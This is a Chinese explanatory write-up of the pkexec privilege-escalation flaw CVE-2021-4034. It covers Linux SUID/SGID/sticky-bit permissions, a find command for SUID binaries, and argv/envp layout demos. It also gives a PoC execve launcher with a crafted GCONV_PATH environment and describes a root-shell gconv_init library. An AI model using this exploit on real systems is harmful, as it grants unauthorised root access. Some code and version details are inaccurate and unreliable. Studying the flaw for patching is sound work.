CVE-2021-4034漏洞原理解析

前言

本篇文章主要叙述CVE-2021-4034漏洞，该漏洞影响的linux发行版众多，例如：Ubuntu、CentOS、Debian等等，该漏洞为Linux系统本地提权漏洞，利用脚本已经公开，利用简单且稳定，脚本地址：Github

当攻击者获取目标系统普通用户权限时，利用该脚本即可直接获得root权限，该漏洞的主要原因是因为polkit中的pkexec程序对参数个数判断不佳，导致数组溢出，具体分析过程将在下面慢慢介绍。首先得先了解下suid、sgid、sbit的特殊权限，将对后面分析起到帮助，也对后续的渗透学习开辟一些新鲜道路。

一、SUID、SGID、SBIT的介绍

suid、sgid、sbit是文件权限管理的特殊命令，基本的Linux权限为9个，分别为rwx rwx rwx，利用命令ll -a 加文件路径会发现有一些特殊的权限位符号。例如：

这里有一个特殊权限位：s
Linux有十二个权限符：

1. SUID的基本权限位有x权限，标识符为s，代表数字为4，生效对象为用户位
2. SGID的基本权限位有x权限，标识符为s，代表数字为2，生肖对象为用户组位
3. SBIT的基本权限位有x权限，标识符为t，代表数字为1，生效对象为其他用户

1）SUID权限位

1. suid通过s字符标识判定，当s出现在文件所有者的x权限时，如上图/usr/bin/passwd文件，状态位：-rwsr-xr-x，此时就可以判定为时suid。
2. suid权限仅对二进制程序有效
3. 该权限仅在执行该程序的过程中有效
4. 执行者将拥有该程序拥有者的权限

SUID的目的：为了让本来没有相应权限的用户运行这个程序，可以短暂的享有该程序拥有者的权限。就比如上方图例，/usr/bin/passwd该二进制程序是用来修改密码的，但是linux系统中用户众多，有root、普通用户等等，这些用户都需要在特殊情况修改密码，比如在忘记登录密码时。

具体流程：

1. 因为passwd的权限对任何用户都是可执行的，所以系统中不管什么用户都可执行
2. passwd文件的拥有者是属于root
3. 当普通用户在执行passwd命令时，会在执行期间短暂拥有root权限
4. 普通用户借助root权限修改了/etc/shadow文件
5. 最后把密码修改成功
6. 这时候，在攻击者的角度，就可以利用此类拥有者为root的二进制程序，提权成功

• 注：当在渗透过程中获取了shell，可以使用find命令查询系统上所有的s权限位文件，命令：
  find / -perm -4000 -type f -ls

2）SGID权限位

1. sgid和suid差不多，先查看s是否在所属用户组的x位置上，如果在，那就是sgid
2. sgid获得该程序所属用户组的权限
3. sgid仅对二进制程序有用
4. sgid主要用在目录上

• 注：sgid，如果用户在此目录下具有w，写的权限的话，若使用者在此目录下建立新文件，则新文件的群组与此目录的群组相同。

3）SBIT权限位

1. sbit主要针对other来设置的，和suid，sgid大同小异，只是功能上不同而已
2. sbit只对目录有效，当用户在该目录下新建文件或目录时，仅自己和root才有权利删除
3. 最具代表的就是/tmp目录，之前在渗透项目中，获得了webshell，都要先进到/tmp目录下进行一系列下载之类的操作，因为/tmp目录，任何人都可以增加、修改文件（权限为rwx）

• 注：SBIT对文件不起作用

总结

二、CVE-2021-4034

• 这里是学习了看雪论坛的某位大佬对该漏洞的整体分析，然后自己理解进行叙述！实例也是该大佬的例子。

1）相关知识

1、实例代码：

#include<stdio.h>
int main(int argc, char** argv){
	printf("argc:%d\n", argc);
	for(int i;i<argc;i++){
		printf("%s\n",argv[i]);
	}
	return 0;
}
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• 上述代码中，argc是参数个数，argv是存放的具体参数，argv[0]—>程序本身，argv[1]—>第一个参数，argv[2]—>第二个参数，argv[argc]，0表示结束。
  
• 当执行程序时，argc的取值至少为1，因为即使不加参数，argv[0]也要指向程序路径本身。pkexec在特殊情况下，如使用execve来调用程序，并给argv传值 NULL，则argc为0。
• execve函数：

#include<unistd.h>
int execve(const char *pathname, char *const argv[], char *const envp[]);
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• execve.c:

#include<unistd.h>
int main(int argc, char **argv){
	return execve("./test", NULL, NULL);
}
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• 注：argv和envp在内存中的分布是连续的。
• execve.c:

#include<unistd.h>
int main(){
	char* const argv[] = {
		"AAAAAA1111",
		"AAAAAA1111",
		"AAAAAA1111",
		NULL
	};
	char* const envp[] = {
		"AAAAAA1111",
		"AAAAAA1111",
		"AAAAAA1111",
		NULL
	};
	return execve("./test", argv, envp);
}
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• 利用execve调用test，将上述三个值分别传入argv和envp中

#include<stdio.h>
int main(int argc, char** argv)
{
    printf("argc: %d\n", argc);
    for(int i; i<8; i++) {
        if(argv[i]!=NULL) {
            printf("argv[%d]: %s\n", i, argv[i]);
        } else {
            printf("argv[%d]: NULL\n", i);
        }
    }
 
    return 0;
}
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• argc为3，加上截止符0，argv的大小为4，这里直接打印了8个值，显然是越界了，通过实例，表明argv与envp在内存布局上是连续的，envp紧跟argv之后。

具体分析过程请参考本文最后（大佬分析的特别完善，受益匪浅）

2）漏洞原理

本漏洞主要被利用的包括以下几点：

1. pkexec为suid程序
2. 当argc为0时，pkexec会读取argv[1]变量，而由于刚才实例分析，内存布局是连续的，因此实际上会读取到第一个环境变量。
3. 读取到argv[1]之后，若其不是绝对路径，则pkexec会将其理解为相对路径，会在环境变量中查找PATH变量，将其转换为实际路径。
4. 若PATH环境变量包含一个攻击者可控的路径，则pkexec转换后的实际路径将会是这个攻击者可控的路径下的一个子目录，则显然此实际路径也是攻击者可控的。例如：/bin/sh 、 PATH=/bin:/usr/bin
5. pkexec会对argv[1]赋值，将其修改为上述得到的实际路径，但是argv[1]此时实际上指向的是pkexec的第一个环境变量，也就是说，pkexec将自己的第一个环境变量修改为这个实际路径了。
6. pkexec会在程序运行过程中调用g_printerr函数，这个函数会在运行的时候按需载入GCONV_PATH环境变量指向的路径下的gconv-modules文件中写明的外部动态链接库（so），并运行其中的初始化函数gconv_init。

攻击者可以做以下操作提升至root权限：

#include <unistd.h>

int main(int argc, char **argv)
{
	char * const args[] = {
		NULL
	};
	char * const environ[] = {
		"pwnkit.so:.",
		"PATH=GCONV_PATH=.",
		"SHELL=/lol/i/do/not/exists",
		"CHARSET=PWNKIT",
		"GIO_USE_VFS=",
		NULL
	};
	return execve("/usr/bin/pkexec", args, environ);
}
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• 这是CVE-2021-4034的poc，将其复制到目标机器/tmp目录下，编译运行，赋权chmod u+s，然后执行即可利用suid特殊权限，获得root权限。

或者可以：

• 在自己可控的目录下生成一个gconv-modules文件，并将文件内容设置为指向某个so文件。
• 在so文件中实现gconv_init函数，此函数主要就是生成一个root shell（由于pkexec默认开启SUID），而在so库的此函数中，设置当前进程用户的uid为0，即可提权到root用户。
• 调用pkexec，而且在调用的时候通过命令行参数设置使得pkexec得到的argc为0，将环境变量中的第一个设置为非/开头的一个相对路径，将环境变量中的PATH变量的值设置为GCONV_PATH=开头的字符串，使得对应的路径指向上述存储gconv-modules文件的路径。

3）影响版本

主要有：pkexec版本为0.105之前

• Ubuntu 20.04 LTS：policykit-1 - 0.105-26ubuntu1.2
• Ubuntu 18.04 LTS：policykit-1 - 0.105-20ubuntu0.18.04.6
• Ubuntu 16.04 ESM：policykit-1 - 0.105-14.1ubuntu0.5+esm1
• Ubuntu 14.04 ESM：policykit-1 - 0.105-4ubuntu3.14.04.6+esm1
• CentOS 6：polkit-0.96-11.el6_10.2
• CentOS 7：polkit-0.112-26.el7_9.1

三、修复

目前各大linux发行版都给出了安全补丁，升级即可修复该漏洞。

漏洞参考：https://bbs.pediy.com/thread-271423.htm#msg_header_h2_6